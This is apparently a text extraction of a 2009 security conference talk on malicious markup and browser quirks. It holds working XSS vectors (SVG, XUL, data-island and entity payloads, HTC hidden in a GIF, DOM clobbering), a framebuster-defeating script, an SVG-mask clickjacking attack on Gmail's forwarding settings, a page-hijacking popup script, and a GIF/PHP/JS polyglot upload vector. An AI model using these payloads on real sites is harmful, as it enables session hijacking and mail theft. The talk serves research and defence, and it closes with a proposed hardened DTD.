I thought you were my friend!
Malicious markup, browser issues and other obscurities

A talk by
Mario Heiderich

For
CONFidence 2009
OWASP Europe 2009
in Krakow
Who am I

- CTO for Business-IN, New York/Cologne
- Total web-retard
- Inventor and head-dev of the PHPIDS
- Speaker on ph-neutral, OWASP Europe etc.
- Freelance Security Researcher and Consultant
  - http://mario.heideri.ch
  - http://twitter.com/0x6D6172696F
- Twitter comments and questions to #mmtalk
Today's menu

- The browsers and their self-disclosure
- Some hard facts
- And a deep dive into new vectors, old artifacts and other weird things
- A peek into web hackers future box of tricks
Ever tried that?

Secure Browser for Windows

Secure Browser lets the Administrator lock down internet usage to a specific set of sites. Great for companies that want to display their website at a store...

www.tropsoft.com/secbrowser/ - 15k - Cached - Similar pages -

Securing Your Web Browser

14 Feb 2008 ... if a vendor does not provide documentation on how to secure the browser, we encourage you to contact them and request more information...

www.cert.org/tech_tips/securing_browser/ - 62k - Cached - Similar pages -

New secure browser Browzar is fake and full of adware

Social news rave about Browzar - they claim it a new secure browser leaving no footprints. After looking at it closer, I found out that it’s not a browser...

web3.0log.org/2008/09/01/new-secure-browser-browzar-is-fake-and-full-of-adware/ - 166k - Cached - Similar pages -

Chrome only browser left standing after day one of Pwn2Own - Ars...

20 Mar 2009 ... During a contest at the CanSecWest event, security researchers competed to exploit vulnerabilities in web browsers.

arstechnica.com/security/news/2009/03/chrome-is-the-only-browser-left-standing-in-pwn2own-contest.ars - 41k - Cached - Similar pages -

Browse Happy — Online, Worry-free

Why not switch to a browser that’s more secure? Many already have. Read their stories, and choose a browser that’s right for you...

browsehappy.com/ - 3k - Cached - Similar pages -

Secure Your Browser

17 Feb 2009 ... Secure Your Browser (Betas). I haven't updated this page in a while. I recommend that you refer to the well-written US-CERT (Dept. of Homeland...
Mmm - we like ourselves
Mmm - we like ourselves

Opera security

Security and privacy features

Encryption
Opera supports Secure Socket Layer (SSL) version 3, and TLS. Opera offers automatic 256-bit encryption, the highest available security of any Web browser.

Delete private data
Opera can be configured to clear the history and cache when exiting, to protect your privacy. Any kind of private data can easily be erased.

Cookie control
Opera gives you detailed control of what cookies to accept and reject, such as allowing for different set-ups for different servers.

Security resources

Security Advisories and FAQ
Keep up to date on the latest security related questions. Security Advisories

Security and Privacy Tutorial
Read up on Opera's security and privacy of them. Security and Privacy in Opera

Security specifications in Opera
Applicable to all versions of Opera 9.6 plus Opera Mobile running on the Opera Presto 2.1.1 security specifications
The Safest Web Browser

Simply put, your online security is our top priority. Firefox includes strict anti-phishing and anti-malware measures, plus easy ways to tell the good guys from the bad like our new one-click site ID info. And, thanks to our open source process we have thousands of security experts around the globe working around the clock to keep you (and your personal information) safe.

View all security features.
Learn more about Firefox security.
Let's see some numbers

- Firefox: 296+ Advisories
- Internet Explorer: 337+ Advisories
- Opera: 349+ Advisories
- Safari: 69 Advisories but anyway - who gives a damn...? :)

but anyway - who gives a damn...? :)

And the future...

- Will make the interwebs even more colorful
- HTML5, CSS3, Silverlight, Flash 11
- DOM Level 3, Client Side Storage
- SVG, Canvas, MathML, SMIL
- XForms, XPath, Xquery, XandWhatNot..
- Which definitely is a great thing!
- And I mean that!
But

- Shouldn't we first clear up the legacy mess before making such huge jumps?
- Neither developers nor security experts can really oversee the whole panorama
- Disagree?
Please raise you hand!

- Who knows...
  - XBL? Okay that wasn't too hard...
  - Data Islands? Yeah – recent media coverage..
  - XXE? Last mentioned 2002...
  - Globally scoped HTML objects?
  - HTML Components?
  - Isindex and Ilayer?
  - Inline namespaces?
  - XUL artifacts?
Or just...

- The evil traps set by common and inactive HTML?
So...

- Let's finally get started
- We're now going to see some code
- No Clickjacking – I promise
- Okay – just once... for the final piece of code
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml"
     xmlns:svg="http://www.w3.org/2000/svg">
  <svg:g onload="alert(8)"/>
</html>

<image src="x" onerror="alert(1)"/>
XML Namespaces

<html xmlns:ø="http://www.w3.org/1999/xhtml">
  <ø:script src="//0x.lv/" />
</html>
XUL Artifacts

<html>
<xul:image
donerror="alert(2)"
src="x"
xmlns:xul="http://mozilla.org/keymaster/gatekeeper/there.is.only.xul"
/>
</html>

(http://mozilla.org/keymaster/gatekeeper/there.is.only.xul)
<!DOCTYPE xss [ 
  <!ENTITY x "<script>alert(1)</script>" ]>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  &x;
</head>
</html>
<html>
<head>
<style>
  body {
    behavior: url(test.gif.htc);
  }
</style>
</head>
<body>
<h1>Yay, HTC!!! Oh wait...</h1>
</body>
</html>
HTC via Image 2/2

GIF89ad.d........................!\Y,---------------s.---------
H??? ??j? ?????????????? ???????????????(8HXhx?????????iX?)

GIF89ad.d............!\Y
<PUBLIC:COMPONENT>
<PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" />
</PUBLIC:COMPONENT>
..,.....d.d....s.....................H.............L...
.............L*....J.........j.............N......
...................(8HXhx...........iX..;
<html>
<body>
<xml id="xss" src="island.xml"></xml>
<label dataformatas=html datasrc=#xss datafld=paylload>
fooooo!
</label>
</body>
</html>

<?xml version="1.0"?>
<x>
  <payload>
    <![CDATA[<img src=x onerror=alert(top)>]]>
  </payload>
</x>
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero et accumsan et iusto odio dignissim qui blandit
Label of Death 2/2

- Clicks on label tags are being delegated
- But not only to the element connected to the label
- Even if it's a submit button
- Also to all elements between the label and the corresponding button
You trust your DOM?

- Say hello to DOM Redressing
- Ever tried to create a HTML element with an ID?
  - For example `#test`?
  - And then to `alert(test)`
- You should :)
IE goes a step further...

- You can also overwrite **existing** properties
- Like `document`
- Or `location`
- Or `document.cookie`
- Or `document.body.innerHTML`
- Phew!
- Fixed in IE8 RC1 – and some variants also in older versions
Let's see some code

```html
<form id="document" cookie="foo">
<script>alert(document.cookie)</script>

<form id="location" href="bar">
<script>alert(location.href)</script>

<form id="document">
<select id="body">bar</select>
<script>alert(document.body.innerHTML)</script>
```
But...

- What are the most beautiful things in life?
The little things in life...

- As we could see...
- ... it's often the little things in life
- Sometimes its also the very little things
- Like \[\text{size}=0\]
- Yes – not only markup can be evil – even markdown
Let's have a look

```
lsx
ls -la
```

```
g:0in-/*for another*/-alert(!1)
me || PHPIDS || CSRFX || qUnt || <malicious></markup>
```

Web Application Security 2.0
BBCode fun

- Own local boxes with console commands
- Post malicious code on arbitrary linux forums
- Sudo anything
- Store actual payload on image hoster sites
- XSS is possible too
- \[size=0\]javascript:\<payload>://http://www ...
- HTML/CSS does that trick too of course
Where are we now?

- We can poison the DOM via ID attributes
- We can hide HTC payload in GIF files
- We can also hijack copy and paste actions with HTML and even BBCode
- We can stop framebusters from working properly
  - Like this...
<script>
    try {
        location.__defineSetter__('href', function() {return false});
    } catch(e) {
        justFalse = function() {
            return false;
        }
        onbeforeunload = justFalse;
        onunload = location.href = location.href;
    }
</script>
Wouldn't that all combined...

.. be just great for a small GMail exploit?

- Probably yes
- We all know the non JS version of the Gmail interface
- No framebuster necessary – although we could have dealt with it
- And we have deeplinks to the settings
- Forget the token – it's not a token
Gmail Forwarding

- **Forwarding and POP/IMAP**
  - **Forwarding:**
    - Disable forwarding
    - Forward a copy of incoming mail to [email address] and keep Google Mail's copy in the Inbox
  - **POP Download:**
    - Learn more
  - **1. Status:** POP is enabled for all mail that has arrived since 3/12/05.
    - Enable POP for all mail (even mail that's already been downloaded)
    - Enable POP only for mail that arrives from now on
    - Disable POP
  - **2. When messages are accessed with POP:**
    - Keep Google Mail's copy
  - **3. Configure your email client** (e.g., Outlook, Eudora, Netscape Mail)
    - Configuration instructions
The malicious website

Site security check

Please copy and paste the security code into the text box, check the radio button and hit the green button to commence to the next page.

This is to prove you are a human being - and not bot trying to steal data.
So what did we use here?

- Some HTML
- Some CSS
- An IFRAME to the Gmail non-JS interface
- Some stolen but nice looking button images
- And... SVG masks
SVG Masks?

- Yep
- Photoshop in your browser
- Assign masks with geometrical shapes to HTML elements
- Thereby define a layer – where only the areas you defines are transparent
- Like CSS layers with DIVs
- But – it's click-through!
- You can test them in FF 3.1
Some Code

- Example from the exploit

```html
<html xmlns="http://www.w3.org/1999/xhtml">
  <style>
    iframe { mask: url(#m1); width: 1000px; height: 750px; }
    ...
  </style>
  <body>
    <iframe id="target" src="https://mail.google.com/mail/h//?v=prfap"/>
    ...
    <svg:svg xmlns:svg="http://www.w3.org/2000/svg" height="0">
      <svg:mask id="m1" maskContentUnits="objectBoundingBox">
        <svg:rect x="0.375" y="0.265" width="0.02" height="0.025" />
        <svg:rect x="0.605" y="0.265" width="0.152" height="0.029" />
      </svg:mask>
    </svg:svg>
  </body>
</html>

(full version: http://pastebin.com/f1bbc1dd7)
Most of the things we saw require user interaction

But getting the user to do something...

... is more or less just a matter of

- Handsome design
- Well-worded commands
- And a false sense of security the attacker can create

Thanks, complexity of the web!
Another swXSS approach

- Not exactly a real ghost
- But something like... Casper
- In his puberty
- Popup-based
- Onbeforeunload
- Every browser – Opera most attacker-friendly
Let's have a look

I am a vulnerable page

And can be XSSed easily - by reflective or persistent XSS

The attacker managed to inject some payload - telling Casper to visit the user (not necessarily after dark) - and hijack all his/her actions.

```html
<script src="g.js"></script>
```

In case the user leaves the site to another same-domain page then Casper will automagically accompany him/her.

[click]
Let's have a look

I am XSS

And something

XSS

The attacker

the users

In case that
him/her.

No XSS on this page

But casper is still around

Look at the page bottom. The half-opaque Casper tells you he's present and listening. Meanwhile he infected all same-domain links on the website to make sure he won't get lost after your next click.

click
Let's have a look

I am

And

XSS

The attacker

In case the user clicked

No XSS on this page

But casper is still around

Look at the page bottom. The half-opaque Casper tells you he’s present and listening. Meanwhile he infected all same-domain links on the website to make sure he won’t get lost after your next click.

click
Let's have a look

I am not vulnerable either

At least not against XSS

But still lil Casper is hooking himself into my sources and making sure that he hijacks any user interaction. Like leaving the page and heading back to the originally vulnerable page to close the circuit.
The trigger

```javascript
window.onload = function(){
    function ghostinit(){
        var ghost = open(
            "g.html",
            "g",
            "top=10000,left=10000,height=1,width=1," +
            "dialog=yes,dependent=yes,status=no"
        );
        window.name = escape(ghostinit.toString());
    }
    var ghostlinks = document.getElementsByTagName('a');
    for (var i = 0; i < ghostlinks.length; i++) {
        ghostlinks[i].onclick = function(){
            ghostinit();
        }
    }
}
```
And lil' Casper
Pros and cons

- **Pros**
  - Runs in every browser
  - "Compatibility mode"
  - Native JS

- **Cons**
  - Not invisible
  - Difficulties with page refreshes
  - No trusted events via unload in FF
  - Same-domain g.html or dataURIs (no IE)
The same domain inclusion problem

- How to get the payload on the box
  - Find an upload form
  - Bypass the protection mechanisms
  - Have the format ready you need
- Really a problem?
  - Thanks parsers...
  - Here's the multivector
Multiwhat?

- Less than 300 Bytes
- Various formats
  - CSS
  - `expression()` CSS
  - JavaScript
  - HTML
  - PHP
  - Open directly
  - ...
- And still a valid GIF
### Multivector anatomy

<table>
<thead>
<tr>
<th>Signed 8 Bit:</th>
<th>71</th>
</tr>
</thead>
<tbody>
<tr>
<td>Signed 16 Bit:</td>
<td>18759</td>
</tr>
<tr>
<td>Unsigned 16 Bit:</td>
<td>18759</td>
</tr>
<tr>
<td>Signed 32 Bit:</td>
<td>944130375</td>
</tr>
<tr>
<td>Unsigned 32 Bit:</td>
<td>944130375</td>
</tr>
<tr>
<td>32 Bit Float:</td>
<td>4.727512e-05</td>
</tr>
<tr>
<td>64 Bit Float:</td>
<td>1.662837e-71</td>
</tr>
</tbody>
</table>

Hexadezimal: 47
Oktal: 107
Binärfeld: 01000111
Stream-Länge: 8

- Signed 8 Bit: 71
- Signed 16 Bit: 18759
- Signed 32 Bit: 944130375
- 32 Bit Float: 4.727512e-05
- 64 Bit Float: 1.662837e-71

<table>
<thead>
<tr>
<th>Datei</th>
<th>Bearbeiten</th>
<th>Ansicht</th>
<th>Fenster</th>
<th>Hilfe</th>
</tr>
</thead>
</table>

- Datei: 47
- Bearbeiten: 2F
- Ansicht: 6D
- Fenster: 6B
- Hilfe: 7A

GIF89a=1/*;*/{!Hhhh;/* alert("I am a JIF :)");}*/script>alert("IE likes me!")*/script>

......</style>*{color:red}</style<script>{eval(name)}body.{color:red;xss:expression(window.x?0:{eval(name),x=1})}</script><?="/D.*/"
The testcase

<link rel="stylesheet" type="text/css" href="../.x.php"/> ← color and IE expression

<?php include '../.x.php' ?> ← echo and possible shell

<img src="../.x"/> ← image as is and XSS in IE

<script src="../.x.php"></script> ← XSS

<iframe src="../.x.php"/> ← XSS via IFrame
The result
Some more SVG to chill down

- Most recent browser betas and alphas support SVG fonts
- A way to have fonts be written in markup
- No binary TTF, FOT etc. monsters anymore
- And Javascript. In fonts. What??
An example...

This is a SVG font!
```xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
 "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg"
 onload="alert(1)"></svg>
```

And this is some markup for Opera 10 - guess what happens :)
```html
<html>
<head>
<style type="text/css">
@font-face {
  font-family: xss;
  src: url(test.svg#xss) format("svg");
}
body {font: 0px "xss"; }
</style>
</head>
</html>
```
Conclusion

- Markup injections are dangerous.
- Even without XSS.
- *Watchest thou Rich Text Editores*
- Progress is great – but let's not forget the legacy stuff.
- Keep in mind who might like the feature more – the attacker or the user.
- And don't be too quick with HTML5 – there's way more to come.
What to do now?

- Let the developers protect their apps?
  - Doesn't *woooork!* (don't blame the devs)
- Let the vendors harden their browsers?
  - Doesn't work either!
- IDS, IPS, WAF?
  - Work great! (no they don't)
- Jailtags, Iframes, Caja, ABE, CSP, Headers..
  - Complexity++, Adaptation--
But...

- What about the DOCTYPE?
- Doesn't it tell the browser what to know and what not?
- Why not have a little bit more strictness
- And create a safe DOCTYPE
- Let's invent STML and XSTML :)
- ... and have a look
DOCTYPES

- Used by many websites
  - `<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">`
  
  `<html>...

- There are several major DOCTYPES
- Browsers usually don't request the file
- But behave differently depending on the DOCTYPE
- DOCTYPES aren't mandatory – quirks mode
- You can write your own to trick validators
Anatomy class

<!-- attributes for common UI events
onclick    a pointer button was clicked
ondblclick a pointer button was double clicked
onmousedown a pointer button was pressed down
onmouseup   a pointer button was released
onmousemove a pointer was moved onto the element
onmouseout  a pointer was moved away from the element
onkeypress  a key was pressed and released
onkeydown   a key was pressed down
onkeyup     a key was released
-->
STML?

- SHTML doesn't read well
- Strip things from the DTD we don't *like*
  - Event handlers
  - Base tags
  - Form actions
  - Script, Iframe and other active tags
  - Maybe even ID attributes
  - ...
- Make the browser use it!
But what if we need JS?

- Deliver it via surrounding Iframe
  - Bind events from there
  - And keep presentation and logic separated for pattern sake!
- Add the %SameDomainURI type to DTD
- Let Script tags only reside in HEAD
- There's a lot of ways
The DTD patch

- About 12 kilobyte in size
- Mostly removals
- [http://pastebin.com/m98e1e87](http://pastebin.com/m98e1e87)

```xml
<!-- style info, which may include CDATA sections -->
<!ELEMENT style (#PCDATA)>
<!ATTLIST style
  %i18n;
  id          ID             #IMPLIED
  type        %ContentType;  #REQUIRED
  media       %MediaDesc;    #IMPLIED
  title       %Text;         #IMPLIED
  xml:space   (preserve)     #FIXED 'preserve'
  >

<!-- script statements, which may include CDATA sections -->
<!ELEMENT script (#PCDATA)>
<!ATTLIST script
  id          ID             #IMPLIED
  charset     %Charset;      #IMPLIED
  type
```
Possibilities

- If browsers accepted the new DTD
  - No script tags, no Iframes, no event handlers etc. - just plain text
  - Secure certain areas of the site
  - Inject JS from a secure same domain tag like `LINK`
- DTD generators for each purpose
  - e.g. external images – yes, JavaScript - no
  - Only same domain JavaScript
  - etc.
Thanks a lot!
Appendix 1/2

- SVG Fonts [http://www.w3.org/TR/SVG11/fonts.html#SVGFontsOverview](http://www.w3.org/TR/SVG11/fonts.html#SVGFontsOverview)
- SVG Masks [http://www.w3.org/TR/SVG/masking.html](http://www.w3.org/TR/SVG/masking.html)
- Data Islands [http://www.w3schools.com/Xml/xml_dont.asp](http://www.w3schools.com/Xml/xml_dont.asp)
- Inline namespaces [http://www.w3schools.com/XML/xml_namespaces.asp](http://www.w3schools.com/XML/xml_namespaces.asp)
Appendix 2/2

- CSP http://people.mozilla.org/~bsterne/content-security-policy/
- ABE http://hackademix.net/2008/12/20/introducing-abe/
- Jail tag and more mashup security approaches http://www.openajax.org/member/wiki/Mashup_Security_Approaches
- The DTD patch http://pastebin.com/m98e1e87
- Gmail SVG fun http://pastebin.com/f1bbc1dd7
- Casper http://pastebin.com/m5a81b94d
- The multivector http://img210.imageshack.us/img210/4028/38956160.gif